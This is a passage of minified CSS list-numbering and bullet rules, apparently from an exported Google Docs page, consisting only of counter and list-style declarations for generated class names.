"}.lst-kix_5oipgjcxugcr-5>li:before{content:"" counter(lst-ctn-kix_5oipgjcxugcr-5,lower-roman) ". "}ol.lst-kix_58ja23nrczhl-8.start{counter-reset:lst-ctn-kix_58ja23nrczhl-8 0}.lst-kix_9gryrzygx46m-1>li:before{content:"- "}ul.lst-kix_yn2ql2u2egdg-2{list-style-type:none}ul.lst-kix_yn2ql2u2egdg-1{list-style-type:none}.lst-kix_5oipgjcxugcr-3>li:before{content:"" counter(lst-ctn-kix_5oipgjcxugcr-3,decimal) ". "}ul.lst-kix_yn2ql2u2egdg-4{list-style-type:none}ul.lst-kix_yn2ql2u2egdg-3{list-style-type:none}.lst-kix_58ja23nrczhl-5>li{counter-increment:lst-ctn-kix_58ja23nrczhl-5}ul.lst-kix_yn2ql2u2egdg-0{list-style-type:none}.lst-kix_9gryrzygx46m-7>li:before{content:"- "}.lst-kix_3a2g7o19wgb3-0>li:before{content:"" counter(lst-ctn-kix_3a2g7o19wgb3-0,decimal) ". "}.lst-kix_iptxq54yrrnf-5>li:before{content:"" counter(lst-ctn-kix_iptxq54yrrnf-5,lower-roman) ". "}.lst-kix_iptxq54yrrnf-7>li:before{content:"" counter(lst-ctn-kix_iptxq54yrrnf-7,lower-latin) ". "}.lst-kix_3a2g7o19wgb3-2>li:before{content:"" counter(lst-ctn-kix_3a2g7o19wgb3-2,lower-roman) ". "}.lst-kix_9prd8pa3o8y7-3>li:before{content:"" counter(lst-ctn-kix_9prd8pa3o8y7-3,decimal) ". "}ol.lst-kix_51hgl6mwb3et-6.start{counter-reset:lst-ctn-kix_51hgl6mwb3et-6 0}.lst-kix_zcvcgbx5ju56-1>li:before{content:"- "}.lst-kix_5oipgjcxugcr-2>li{counter-increment:lst-ctn-kix_5oipgjcxugcr-2}ol.lst-kix_7y90gfloiotx-7.start{counter-reset:lst-ctn-kix_7y90gfloiotx-7 0}.lst-kix_5yi4tofw6s0z-3>li{counter-increment:lst-ctn-kix_5yi4tofw6s0z-3}ol.lst-kix_8mkn8rg9im4a-7{list-style-type:none}ol.lst-kix_8mkn8rg9im4a-6{list-style-type:none}ol.lst-kix_8mkn8rg9im4a-8{list-style-type:none}ol.lst-kix_8mkn8rg9im4a-3{list-style-type:none}ol.lst-kix_8mkn8rg9im4a-2{list-style-type:none}ol.lst-kix_58ja23nrczhl-7.start{counter-reset:lst-ctn-kix_58ja23nrczhl-7 0}.lst-kix_zcvcgbx5ju56-7>li:before{content:"- "}ol.lst-kix_8mkn8rg9im4a-5{list-style-type:none}ol.lst-kix_8mkn8rg9im4a-4{list-style-type:none}ul.lst-kix_t1ae57uxlfl0-3{list-style-type:none}ul.lst-kix_t1ae57uxlfl0-4{list-style-type:none}ol.lst-kix_hk8k8itxmlfp-6.start{counter-reset:lst-ctn-kix_hk8k8itxmlfp-6 0}ol.lst-kix_8mkn8rg9im4a-1{list-style-type:none}ul.lst-kix_t1ae57uxlfl0-1{list-style-type:none}.lst-kix_h1p96gz9lzq4-7>li:before{content:"- "}ol.lst-kix_8mkn8rg9im4a-0{list-style-type:none}ul.lst-kix_t1ae57uxlfl0-2{list-style-type:none}.lst-kix_yzib59bcdnhj-5>li:before{content:"- "}ul.lst-kix_t1ae57uxlfl0-0{list-style-type:none}.lst-kix_h1p96gz9lzq4-5>li:before{content:"- "}ul.lst-kix_t1ae57uxlfl0-7{list-style-type:none}.lst-kix_9prd8pa3o8y7-5>li:before{content:"" counter(lst-ctn-kix_9prd8pa3o8y7-5,lower-roman) ". "}ul.lst-kix_t1ae57uxlfl0-8{list-style-type:none}.lst-kix_yzib59bcdnhj-7>li:before{content:"- "}.lst-kix_51hgl6mwb3et-4>li{counter-increment:lst-ctn-kix_51hgl6mwb3et-4}.lst-kix_p4ttii5g8cnl-4>li{counter-increment:lst-ctn-kix_p4ttii5g8cnl-4}ul.lst-kix_t1ae57uxlfl0-5{list-style-type:none}ul.lst-kix_t1ae57uxlfl0-6{list-style-type:none}.lst-kix_7y90gfloiotx-0>li{counter-increment:lst-ctn-kix_7y90gfloiotx-0}.lst-kix_5yi4tofw6s0z-0>li:before{content:"" counter(lst-ctn-kix_5yi4tofw6s0z-0,decimal) ". "}ol.lst-kix_hk8k8itxmlfp-2.start{counter-reset:lst-ctn-kix_hk8k8itxmlfp-2 0}.lst-kix_u3opzkdcnklc-6>li:before{content:"" counter(lst-ctn-kix_u3opzkdcnklc-6,decimal) ". "}.lst-kix_f96hgc2s4b68-6>li:before{content:"- "}.lst-kix_f96hgc2s4b68-3>li:before{content:"- "}.lst-kix_51hgl6mwb3et-8>li{counter-increment:lst-ctn-kix_51hgl6mwb3et-8}ol.lst-kix_8mkn8rg9im4a-4.start{counter-reset:lst-ctn-kix_8mkn8rg9im4a-4 0}ol.lst-kix_58ja23nrczhl-2.start{counter-reset:lst-ctn-kix_58ja23nrczhl-2 0}.lst-kix_5yi4tofw6s0z-8>li:before{content:"" counter(lst-ctn-kix_5yi4tofw6s0z-8,lower-roman) ". "}ol.lst-kix_3a2g7o19wgb3-4.start{counter-reset:lst-ctn-kix_3a2g7o19wgb3-4 0}ol.lst-kix_7y90gfloiotx-5.start{counter-reset:lst-ctn-kix_7y90gfloiotx-5 0}.lst-kix_5yi4tofw6s0z-3>li:before{content:"" counter(lst-ctn-kix_5yi4tofw6s0z-3,decimal) ". "}.lst-kix_u3opzkdcnklc-1>li:before{content:"" counter(lst-ctn-kix_u3opzkdcnklc-1,lower-latin) ". "}.lst-kix_u3opzkdcnklc-0>li{counter-increment:lst-ctn-kix_u3opzkdcnklc-0}ol.lst-kix_hk8k8itxmlfp-3.start{counter-reset:lst-ctn-kix_hk8k8itxmlfp-3 0}ol.lst-kix_p4ttii5g8cnl-8{list-style-type:none}.lst-kix_7y90gfloiotx-4>li{counter-increment:lst-ctn-kix_7y90gfloiotx-4}.lst-kix_t1ae57uxlfl0-6>li:before{content:"- "}.lst-kix_u3opzkdcnklc-7>li{counter-increment:lst-ctn-kix_u3opzkdcnklc-7}ol.lst-kix_3a2g7o19wgb3-5.start{counter-reset:lst-ctn-kix_3a2g7o19wgb3-5 0}.lst-kix_j5vmamheymgq-5>li{counter-increment:lst-ctn-kix_j5vmamheymgq-5}.lst-kix_j5vmamheymgq-2>li{counter-increment:lst-ctn-kix_j5vmamheymgq-2}.lst-kix_t1ae57uxlfl0-1>li:before{content:"- "}ol.lst-kix_58ja23nrczhl-3.start{counter-reset:lst-ctn-kix_58ja23nrczhl-3 0}ol.lst-kix_7y90gfloiotx-1.start{counter-reset:lst-ctn-kix_7y90gfloiotx-1 0}.lst-kix_p4ttii5g8cnl-8>li{counter-increment:lst-ctn-kix_p4ttii5g8cnl-8}.lst-kix_g3pd9wzbzpzz-1>li:before{content:"- "}.lst-kix_aj3gpabmyk88-3>li:before{content:"- "}ol.lst-kix_58ja23nrczhl-0.start{counter-reset:lst-ctn-kix_58ja23nrczhl-0 0}.lst-kix_dqkfvt9lb2wy-3>li:before{content:"- "}ol.lst-kix_8mkn8rg9im4a-5.start{counter-reset:lst-ctn-kix_8mkn8rg9im4a-5 0}.lst-kix_6l3lpr6ytz51-1>li:before{content:"- "}.lst-kix_yjo4cwnqbjp0-3>li:before{content:"- "}.lst-kix_k47gmg94hbw2-8>li:before{content:"- "}.lst-kix_8mkn8rg9im4a-1>li{counter-increment:lst-ctn-kix_8mkn8rg9im4a-1}.lst-kix_whw4pjgxp3w1-3>li:before{content:"- "}ol.lst-kix_p4ttii5g8cnl-3{list-style-type:none}ol.lst-kix_p4ttii5g8cnl-2{list-style-type:none}ol.lst-kix_p4ttii5g8cnl-1{list-style-type:none}.lst-kix_k47gmg94hbw2-0>li:before{content:"- "}ol.lst-kix_p4ttii5g8cnl-0{list-style-type:none}ol.lst-kix_3a2g7o19wgb3-0.start{counter-reset:lst-ctn-kix_3a2g7o19wgb3-0 0}.lst-kix_5oipgjcxugcr-0>li:before{content:"" counter(lst-ctn-kix_5oipgjcxugcr-0,decimal) ". "}ol.lst-kix_p4ttii5g8cnl-7{list-style-type:none}ol.lst-kix_p4ttii5g8cnl-6{list-style-type:none}ol.lst-kix_hk8k8itxmlfp-1.start{counter-reset:lst-ctn-kix_hk8k8itxmlfp-1 0}ol.lst-kix_p4ttii5g8cnl-5{list-style-type:none}ol.lst-kix_p4ttii5g8cnl-4{list-style-type:none}.lst-kix_mfudkcwv2w89-4>li:before{content:"" counter(lst-ctn-kix_mfudkcwv2w89-4,lower-latin) ". "}.lst-kix_5yi4tofw6s0z-7>li{counter-increment:lst-ctn-kix_5yi4tofw6s0z-7}.lst-kix_yn2ql2u2egdg-6>li:before{content:"- "}.lst-kix_8mkn8rg9im4a-8>li{counter-increment:lst-ctn-kix_8mkn8rg9im4a-8}ol.lst-kix_j5vmamheymgq-6{list-style-type:none}ol.lst-kix_3a2g7o19wgb3-3.start{counter-reset:lst-ctn-kix_3a2g7o19wgb3-3 0}ol.lst-kix_j5vmamheymgq-7{list-style-type:none}ol.lst-kix_j5vmamheymgq-8{list-style-type:none}.lst-kix_9gryrzygx46m-4>li:before{content:"- "}ol.lst-kix_8mkn8rg9im4a-3.start{counter-reset:lst-ctn-kix_8mkn8rg9im4a-3 0}.lst-kix_5oipgjcxugcr-8>li:before{content:"" counter(lst-ctn-kix_5oipgjcxugcr-8,lower-roman) ". "}ol.lst-kix_j5vmamheymgq-0{list-style-type:none}ol.lst-kix_j5vmamheymgq-1{list-style-type:none}ol.lst-kix_j5vmamheymgq-2{list-style-type:none}ol.lst-kix_j5vmamheymgq-3{list-style-type:none}.lst-kix_3a2g7o19wgb3-5>li:before{content:"" counter(lst-ctn-kix_3a2g7o19wgb3-5,lower-roman) ". "}ol.lst-kix_j5vmamheymgq-4{list-style-type:none}ol.lst-kix_j5vmamheymgq-5{list-style-type:none}ol.lst-kix_hk8k8itxmlfp-0.start{counter-reset:lst-ctn-kix_hk8k8itxmlfp-0 0}.lst-kix_yzib59bcdnhj-2>li:before{content:"- "}.lst-kix_3a2g7o19wgb3-3>li{counter-increment:lst-ctn-kix_3a2g7o19wgb3-3}.lst-kix_8chkxhfzc2ds-2>li:before{content:"- "}.lst-kix_mfudkcwv2w89-2>li{counter-increment:lst-ctn-kix_mfudkcwv2w89-2}.lst-kix_1m9wqzg4mvqt-1>li:before{content:"- "}ol.lst-kix_8mkn8rg9im4a-2.start{counter-reset:lst-ctn-kix_8mkn8rg9im4a-2 0}.lst-kix_5oipgjcxugcr-5>li{counter-increment:lst-ctn-kix_5oipgjcxugcr-5}.lst-kix_j5vmamheymgq-6>li:before{content:"" counter(lst-ctn-kix_j5vmamheymgq-6,decimal) ". "}ul.lst-kix_8chkxhfzc2ds-4{list-style-type:none}.lst-kix_9prd8pa3o8y7-0>li:before{content:"" counter(lst-ctn-kix_9prd8pa3o8y7-0,decimal) ". "}.lst-kix_9prd8pa3o8y7-8>li:before{content:"" counter(lst-ctn-kix_9prd8pa3o8y7-8,lower-roman) ". "}ul.lst-kix_8chkxhfzc2ds-3{list-style-type:none}ul.lst-kix_8chkxhfzc2ds-2{list-style-type:none}ul.lst-kix_8chkxhfzc2ds-1{list-style-type:none}.lst-kix_h1p96gz9lzq4-2>li:before{content:"- "}ul.lst-kix_8chkxhfzc2ds-8{list-style-type:none}ul.lst-kix_8chkxhfzc2ds-7{list-style-type:none}li.li-bullet-0:before{margin-left:-18pt;white-space:nowrap;display:inline-block;min-width:18pt}ul.lst-kix_8chkxhfzc2ds-6{list-style-type:none}.lst-kix_5yi4tofw6s0z-0>li{counter-increment:lst-ctn-kix_5yi4tofw6s0z-0}ul.lst-kix_8chkxhfzc2ds-5{list-style-type:none}.lst-kix_51hgl6mwb3et-1>li{counter-increment:lst-ctn-kix_51hgl6mwb3et-1}.lst-kix_p4ttii5g8cnl-1>li{counter-increment:lst-ctn-kix_p4ttii5g8cnl-1}.lst-kix_7y90gfloiotx-2>li:before{content:"" counter(lst-ctn-kix_7y90gfloiotx-2,lower-roman) ". "}ul.lst-kix_8chkxhfzc2ds-0{list-style-type:none}ol.lst-kix_58ja23nrczhl-1.start{counter-reset:lst-ctn-kix_58ja23nrczhl-1 0}.lst-kix_8mkn8rg9im4a-5>li:before{content:"" counter(lst-ctn-kix_8mkn8rg9im4a-5,lower-roman) ". "}ol.lst-kix_7y90gfloiotx-0.start{counter-reset:lst-ctn-kix_7y90gfloiotx-0 0}ol.lst-kix_3a2g7o19wgb3-2.start{counter-reset:lst-ctn-kix_3a2g7o19wgb3-2 0}.lst-kix_zcvcgbx5ju56-4>li:before{content:"- "}.lst-kix_p4ttii5g8cnl-2>li{counter-increment:lst-ctn-kix_p4ttii5g8cnl-2}ol.lst-kix_hk8k8itxmlfp-5.start{counter-reset:lst-ctn-kix_hk8k8itxmlfp-5 0}.lst-kix_5oipgjcxugcr-4>li{counter-increment:lst-ctn-kix_5oipgjcxugcr-4}.lst-kix_9prd8pa3o8y7-2>li{counter-increment:lst-ctn-kix_9prd8pa3o8y7-2}ol.lst-kix_3a2g7o19wgb3-6{list-style-type:none}ol.lst-kix_3a2g7o19wgb3-5{list-style-type:none}ol.lst-kix_3a2g7o19wgb3-4{list-style-type:none}ol.lst-kix_3a2g7o19wgb3-3{list-style-type:none}ol.lst-kix_3a2g7o19wgb3-8{list-style-type:none}ol.lst-kix_3a2g7o19wgb3-7{list-style-type:none}ol.lst-kix_3a2g7o19wgb3-7.start{counter-reset:lst-ctn-kix_3a2g7o19wgb3-7 0}ol.lst-kix_p4ttii5g8cnl-4.start{counter-reset:lst-ctn-kix_p4ttii5g8cnl-4 0}.lst-kix_iptxq54yrrnf-8>li{counter-increment:lst-ctn-kix_iptxq54yrrnf-8}.lst-kix_5yi4tofw6s0z-5>li{counter-increment:lst-ctn-kix_5yi4tofw6s0z-5}.lst-kix_58ja23nrczhl-0>li{counter-increment:lst-ctn-kix_58ja23nrczhl-0}ol.lst-kix_8mkn8rg9im4a-7.start{counter-reset:lst-ctn-kix_8mkn8rg9im4a-7 0}.lst-kix_hk8k8itxmlfp-8>li{counter-increment:lst-ctn-kix_hk8k8itxmlfp-8}ul.lst-kix_zcvcgbx5ju56-1{list-style-type:none}ul.lst-kix_zcvcgbx5ju56-2{list-style-type:none}ul.lst-kix_zcvcgbx5ju56-0{list-style-type:none}ul.lst-kix_zcvcgbx5ju56-5{list-style-type:none}.lst-kix_8mkn8rg9im4a-6>li{counter-increment:lst-ctn-kix_8mkn8rg9im4a-6}ul.lst-kix_zcvcgbx5ju56-6{list-style-type:none}ul.lst-kix_zcvcgbx5ju56-3{list-style-type:none}ul.lst-kix_zcvcgbx5ju56-4{list-style-type:none}ol.lst-kix_5yi4tofw6s0z-7.start{counter-reset:lst-ctn-kix_5yi4tofw6s0z-7 0}.lst-kix_aj3gpabmyk88-8>li:before{content:"- "}ol.lst-kix_5oipgjcxugcr-6.start{counter-reset:lst-ctn-kix_5oipgjcxugcr-6 0}.lst-kix_aj3gpabmyk88-4>li:before{content:"- "}.lst-kix_mfudkcwv2w89-6>li{counter-increment:lst-ctn-kix_mfudkcwv2w89-6}.lst-kix_aj3gpabmyk88-2>li:before{content:"- "}.lst-kix_8mkn8rg9im4a-8>li:before{content:"" counter(lst-ctn-kix_8mkn8rg9im4a-8,lower-roman) ". "}.lst-kix_1m9wqzg4mvqt-8>li:before{content:"- "}.lst-kix_aj3gpabmyk88-0>li:before{content:"- "}.lst-kix_mfudkcwv2w89-5>li{counter-increment:lst-ctn-kix_mfudkcwv2w89-5}ol.lst-kix_51hgl6mwb3et-8{list-style-type:none}.lst-kix_hk8k8itxmlfp-0>li{counter-increment:lst-ctn-kix_hk8k8itxmlfp-0}.lst-kix_iptxq54yrrnf-0>li{counter-increment:lst-ctn-kix_iptxq54yrrnf-0}.lst-kix_51hgl6mwb3et-5>li{counter-increment:lst-ctn-kix_51hgl6mwb3et-5}ol.lst-kix_58ja23nrczhl-6.start{counter-reset:lst-ctn-kix_58ja23nrczhl-6 0}ol.lst-kix_j5vmamheymgq-1.start{counter-reset:lst-ctn-kix_j5vmamheymgq-1 0}ol.lst-kix_51hgl6mwb3et-6{list-style-type:none}ol.lst-kix_51hgl6mwb3et-7{list-style-type:none}ol.lst-kix_51hgl6mwb3et-4{list-style-type:none}ol.lst-kix_51hgl6mwb3et-5{list-style-type:none}ol.lst-kix_51hgl6mwb3et-2{list-style-type:none}ol.lst-kix_51hgl6mwb3et-3{list-style-type:none}ol.lst-kix_51hgl6mwb3et-0{list-style-type:none}ol.lst-kix_51hgl6mwb3et-1{list-style-type:none}.lst-kix_hk8k8itxmlfp-7>li{counter-increment:lst-ctn-kix_hk8k8itxmlfp-7}ol.lst-kix_7y90gfloiotx-6.start{counter-reset:lst-ctn-kix_7y90gfloiotx-6 0}.lst-kix_iptxq54yrrnf-7>li{counter-increment:lst-ctn-kix_iptxq54yrrnf-7}.lst-kix_iptxq54yrrnf-1>li{counter-increment:lst-ctn-kix_iptxq54yrrnf-1}ol.lst-kix_3a2g7o19wgb3-2{list-style-type:none}.lst-kix_hk8k8itxmlfp-1>li{counter-increment:lst-ctn-kix_hk8k8itxmlfp-1}ol.lst-kix_3a2g7o19wgb3-1{list-style-type:none}ol.lst-kix_3a2g7o19wgb3-0{list-style-type:none}.lst-kix_1m9wqzg4mvqt-0>li:before{content:"- "}.lst-kix_8mkn8rg9im4a-0>li:before{content:"" counter(lst-ctn-kix_8mkn8rg9im4a-0,decimal) ". "}.lst-kix_1m9wqzg4mvqt-4>li:before{content:"- "}.lst-kix_8mkn8rg9im4a-2>li:before{content:"" counter(lst-ctn-kix_8mkn8rg9im4a-2,lower-roman) ". "}ol.lst-kix_mfudkcwv2w89-5.start{counter-reset:lst-ctn-kix_mfudkcwv2w89-5 0}.lst-kix_1m9wqzg4mvqt-6>li:before{content:"- "}.lst-kix_7y90gfloiotx-7>li:before{content:"" counter(lst-ctn-kix_7y90gfloiotx-7,lower-latin) ". "}.lst-kix_3a2g7o19wgb3-6>li{counter-increment:lst-ctn-kix_3a2g7o19wgb3-6}.lst-kix_8mkn8rg9im4a-6>li:before{content:"" counter(lst-ctn-kix_8mkn8rg9im4a-6,decimal) ". "}.lst-kix_7y90gfloiotx-1>li:before{content:"" counter(lst-ctn-kix_7y90gfloiotx-1,lower-latin) ". "}.lst-kix_7y90gfloiotx-5>li:before{content:"" counter(lst-ctn-kix_7y90gfloiotx-5,lower-roman) ". "}.lst-kix_8mkn8rg9im4a-4>li:before{content:"" counter(lst-ctn-kix_8mkn8rg9im4a-4,lower-latin) ". "}.lst-kix_1m9wqzg4mvqt-2>li:before{content:"- "}.lst-kix_aj3gpabmyk88-6>li:before{content:"- "}.lst-kix_7y90gfloiotx-3>li:before{content:"" counter(lst-ctn-kix_7y90gfloiotx-3,decimal) ". "}ul.lst-kix_6l3lpr6ytz51-8{list-style-type:none}.lst-kix_8mkn8rg9im4a-5>li{counter-increment:lst-ctn-kix_8mkn8rg9im4a-5}ol.lst-kix_mfudkcwv2w89-4.start{counter-reset:lst-ctn-kix_mfudkcwv2w89-4 0}ul.lst-kix_6l3lpr6ytz51-7{list-style-type:none}ul.lst-kix_6l3lpr6ytz51-4{list-style-type:none}ol.lst-kix_u3opzkdcnklc-6.start{counter-reset:lst-ctn-kix_u3opzkdcnklc-6 0}ul.lst-kix_6l3lpr6ytz51-3{list-style-type:none}ul.lst-kix_6l3lpr6ytz51-6{list-style-type:none}ul.lst-kix_6l3lpr6ytz51-5{list-style-type:none}ul.lst-kix_6l3lpr6ytz51-0{list-style-type:none}ul.lst-kix_6l3lpr6ytz51-2{list-style-type:none}ol.lst-kix_u3opzkdcnklc-8{list-style-type:none}ul.lst-kix_6l3lpr6ytz51-1{list-style-type:none}ol.lst-kix_u3opzkdcnklc-7{list-style-type:none}ol.lst-kix_u3opzkdcnklc-6{list-style-type:none}ol.lst-kix_u3opzkdcnklc-5{list-style-type:none}ol.lst-kix_u3opzkdcnklc-4{list-style-type:none}ol.lst-kix_9prd8pa3o8y7-0.start{counter-reset:lst-ctn-kix_9prd8pa3o8y7-0 0}ol.lst-kix_j5vmamheymgq-2.start{counter-reset:lst-ctn-kix_j5vmamheymgq-2 0}ol.lst-kix_iptxq54yrrnf-6.start{counter-reset:lst-ctn-kix_iptxq54yrrnf-6 0}.lst-kix_3a2g7o19wgb3-0>li{counter-increment:lst-ctn-kix_3a2g7o19wgb3-0}.lst-kix_f96hgc2s4b68-1>li:before{content:"- "}.lst-kix_f96hgc2s4b68-0>li:before{content:"- "}.lst-kix_f96hgc2s4b68-5>li:before{content:"- "}.lst-kix_f96hgc2s4b68-4>li:before{content:"- "}.lst-kix_5yi4tofw6s0z-6>li:before{content:"" counter(lst-ctn-kix_5yi4tofw6s0z-6,decimal) ". "}.lst-kix_9prd8pa3o8y7-3>li{counter-increment:lst-ctn-kix_9prd8pa3o8y7-3}ul.lst-kix_yjo4cwnqbjp0-8{list-style-type:none}.lst-kix_5yi4tofw6s0z-1>li:before{content:"" counter(lst-ctn-kix_5yi4tofw6s0z-1,lower-latin) ". "}.lst-kix_5yi4tofw6s0z-2>li:before{content:"" counter(lst-ctn-kix_5yi4tofw6s0z-2,lower-roman) ". "}ul.lst-kix_yjo4cwnqbjp0-4{list-style-type:none}ul.lst-kix_yjo4cwnqbjp0-5{list-style-type:none}ul.lst-kix_yjo4cwnqbjp0-6{list-style-type:none}ul.lst-kix_yjo4cwnqbjp0-7{list-style-type:none}ul.lst-kix_yjo4cwnqbjp0-0{list-style-type:none}.lst-kix_5yi4tofw6s0z-5>li:before{content:"" counter(lst-ctn-kix_5yi4tofw6s0z-5,lower-roman) ". "}ul.lst-kix_yjo4cwnqbjp0-1{list-style-type:none}.lst-kix_8mkn8rg9im4a-7>li{counter-increment:lst-ctn-kix_8mkn8rg9im4a-7}ul.lst-kix_yjo4cwnqbjp0-2{list-style-type:none}.lst-kix_f96hgc2s4b68-8>li:before{content:"- "}ul.lst-kix_yjo4cwnqbjp0-3{list-style-type:none}ol.lst-kix_iptxq54yrrnf-0.start{counter-reset:lst-ctn-kix_iptxq54yrrnf-0 0}ol.lst-kix_51hgl6mwb3et-5.start{counter-reset:lst-ctn-kix_51hgl6mwb3et-5 0}.lst-kix_58ja23nrczhl-1>li{counter-increment:lst-ctn-kix_58ja23nrczhl-1}.lst-kix_5yi4tofw6s0z-4>li{counter-increment:lst-ctn-kix_5yi4tofw6s0z-4}ol.lst-kix_u3opzkdcnklc-1.start{counter-reset:lst-ctn-kix_u3opzkdcnklc-1 0}.lst-kix_u3opzkdcnklc-4>li{counter-increment:lst-ctn-kix_u3opzkdcnklc-4}ol.lst-kix_iptxq54yrrnf-1.start{counter-reset:lst-ctn-kix_iptxq54yrrnf-1 0}ol.lst-kix_51hgl6mwb3et-4.start{counter-reset:lst-ctn-kix_51hgl6mwb3et-4 0}ol.lst-kix_9prd8pa3o8y7-5.start{counter-reset:lst-ctn-kix_9prd8pa3o8y7-5 0}.lst-kix_3a2g7o19wgb3-7>li{counter-increment:lst-ctn-kix_3a2g7o19wgb3-7}.lst-kix_t1ae57uxlfl0-8>li:before{content:"- "}.lst-kix_t1ae57uxlfl0-3>li:before{content:"- "}.lst-kix_t1ae57uxlfl0-7>li:before{content:"- "}.lst-kix_t1ae57uxlfl0-4>li:before{content:"- "}ol.lst-kix_u3opzkdcnklc-3{list-style-type:none}ol.lst-kix_u3opzkdcnklc-2{list-style-type:none}ol.lst-kix_u3opzkdcnklc-1{list-style-type:none}.lst-kix_9prd8pa3o8y7-1>li{counter-increment:lst-ctn-kix_9prd8pa3o8y7-1}ol.lst-kix_u3opzkdcnklc-0{list-style-type:none}.lst-kix_t1ae57uxlfl0-0>li:before{content:"- "}ol.lst-kix_u3opzkdcnklc-0.start{counter-reset:lst-ctn-kix_u3opzkdcnklc-0 0}.lst-kix_58ja23nrczhl-8>li{counter-increment:lst-ctn-kix_58ja23nrczhl-8}.lst-kix_9prd8pa3o8y7-8>li{counter-increment:lst-ctn-kix_9prd8pa3o8y7-8}.lst-kix_7y90gfloiotx-0>li:before{content:"" counter(lst-ctn-kix_7y90gfloiotx-0,decimal) ". "}.lst-kix_1m9wqzg4mvqt-7>li:before{content:"- "}.lst-kix_aj3gpabmyk88-1>li:before{content:"- "}.lst-kix_58ja23nrczhl-8>li:before{content:"" counter(lst-ctn-kix_58ja23nrczhl-8,lower-roman) ". "}ol.lst-kix_9prd8pa3o8y7-4.start{counter-reset:lst-ctn-kix_9prd8pa3o8y7-4 0}.lst-kix_k47gmg94hbw2-6>li:before{content:"- "}ol.lst-kix_mfudkcwv2w89-0.start{counter-reset:lst-ctn-kix_mfudkcwv2w89-0 0}.lst-kix_j5vmamheymgq-6>li{counter-increment:lst-ctn-kix_j5vmamheymgq-6}.lst-kix_k47gmg94hbw2-2>li:before{content:"- "}.lst-kix_u3opzkdcnklc-6>li{counter-increment:lst-ctn-kix_u3opzkdcnklc-6}ol.lst-kix_u3opzkdcnklc-5.start{counter-reset:lst-ctn-kix_u3opzkdcnklc-5 0}ol.lst-kix_51hgl6mwb3et-0.start{counter-reset:lst-ctn-kix_51hgl6mwb3et-0 0}.lst-kix_9gryrzygx46m-6>li:before{content:"- "}.lst-kix_7y90gfloiotx-3>li{counter-increment:lst-ctn-kix_7y90gfloiotx-3}ol.lst-kix_j5vmamheymgq-7.start{counter-reset:lst-ctn-kix_j5vmamheymgq-7 0}.lst-kix_9gryrzygx46m-2>li:before{content:"- "}.lst-kix_zcvcgbx5ju56-2>li:before{content:"- "}.lst-kix_5yi4tofw6s0z-6>li{counter-increment:lst-ctn-kix_5yi4tofw6s0z-6}.lst-kix_zcvcgbx5ju56-6>li:before{content:"- "}.lst-kix_7y90gfloiotx-8>li:before{content:"" counter(lst-ctn-kix_7y90gfloiotx-8,lower-roman) ". "}.lst-kix_8mkn8rg9im4a-7>li:before{content:"" counter(lst-ctn-kix_8mkn8rg9im4a-7,lower-latin) ". "}.lst-kix_7y90gfloiotx-4>li:before{content:"" counter(lst-ctn-kix_7y90gfloiotx-4,lower-latin) ". "}.lst-kix_51hgl6mwb3et-7>li{counter-increment:lst-ctn-kix_51hgl6mwb3et-7}ol.lst-kix_p4ttii5g8cnl-0.start{counter-reset:lst-ctn-kix_p4ttii5g8cnl-0 0}.lst-kix_8mkn8rg9im4a-3>li:before{content:"" counter(lst-ctn-kix_8mkn8rg9im4a-3,decimal) ". "}.lst-kix_1m9wqzg4mvqt-3>li:before{content:"- "}ol.lst-kix_iptxq54yrrnf-5.start{counter-reset:lst-ctn-kix_iptxq54yrrnf-5 0}.lst-kix_aj3gpabmyk88-5>li:before{content:"- "}ol.lst-kix_j5vmamheymgq-6.start{counter-reset:lst-ctn-kix_j5vmamheymgq-6 0}ol.lst-kix_9prd8pa3o8y7-3.start{counter-reset:lst-ctn-kix_9prd8pa3o8y7-3 0}ol.lst-kix_hk8k8itxmlfp-2{list-style-type:none}ol.lst-kix_hk8k8itxmlfp-1{list-style-type:none}ol.lst-kix_hk8k8itxmlfp-0{list-style-type:none}ol.lst-kix_hk8k8itxmlfp-8{list-style-type:none}ol.lst-kix_hk8k8itxmlfp-7{list-style-type:none}ol.lst-kix_hk8k8itxmlfp-6{list-style-type:none}ol.lst-kix_hk8k8itxmlfp-5{list-style-type:none}ol.lst-kix_hk8k8itxmlfp-4{list-style-type:none}ol.lst-kix_hk8k8itxmlfp-3{list-style-type:none}ul.lst-kix_k47gmg94hbw2-6{list-style-type:none}ul.lst-kix_k47gmg94hbw2-7{list-style-type:none}ul.lst-kix_k47gmg94hbw2-8{list-style-type:none}.lst-kix_9prd8pa3o8y7-0>li{counter-increment:lst-ctn-kix_9prd8pa3o8y7-0}ol.lst-kix_j5vmamheymgq-5.start{counter-reset:lst-ctn-kix_j5vmamheymgq-5 0}ol.lst-kix_5yi4tofw6s0z-3.start{counter-reset:lst-ctn-kix_5yi4tofw6s0z-3 0}ul.lst-kix_k47gmg94hbw2-0{list-style-type:none}ul.lst-kix_k47gmg94hbw2-1{list-style-type:none}ul.lst-kix_k47gmg94hbw2-2{list-style-type:none}ul.lst-kix_yzib59bcdnhj-8{list-style-type:none}ul.lst-kix_k47gmg94hbw2-3{list-style-type:none}ul.lst-kix_yzib59bcdnhj-7{list-style-type:none}ul.lst-kix_k47gmg94hbw2-4{list-style-type:none}ul.lst-kix_yzib59bcdnhj-6{list-style-type:none}ul.lst-kix_k47gmg94hbw2-5{list-style-type:none}.lst-kix_p4ttii5g8cnl-0>li{counter-increment:lst-ctn-kix_p4ttii5g8cnl-0}ul.lst-kix_yzib59bcdnhj-5{list-style-type:none}.lst-kix_iptxq54yrrnf-3>li:before{content:"" counter(lst-ctn-kix_iptxq54yrrnf-3,decimal) ". "}ul.lst-kix_yzib59bcdnhj-4{list-style-type:none}ul.lst-kix_yzib59bcdnhj-3{list-style-type:none}ul.lst-kix_yzib59bcdnhj-2{list-style-type:none}ul.lst-kix_yzib59bcdnhj-1{list-style-type:none}.lst-kix_iptxq54yrrnf-1>li:before{content:"" counter(lst-ctn-kix_iptxq54yrrnf-1,lower-latin) ". "}ul.lst-kix_yzib59bcdnhj-0{list-style-type:none}.lst-kix_iptxq54yrrnf-0>li:before{content:"" counter(lst-ctn-kix_iptxq54yrrnf-0,decimal) ". "}ol.lst-kix_5oipgjcxugcr-2.start{counter-reset:lst-ctn-kix_5oipgjcxugcr-2 0}.lst-kix_mfudkcwv2w89-0>li{counter-increment:lst-ctn-kix_mfudkcwv2w89-0}.lst-kix_hk8k8itxmlfp-6>li{counter-increment:lst-ctn-kix_hk8k8itxmlfp-6}.lst-kix_p4ttii5g8cnl-1>li:before{content:"" counter(lst-ctn-kix_p4ttii5g8cnl-1,lower-latin) ". 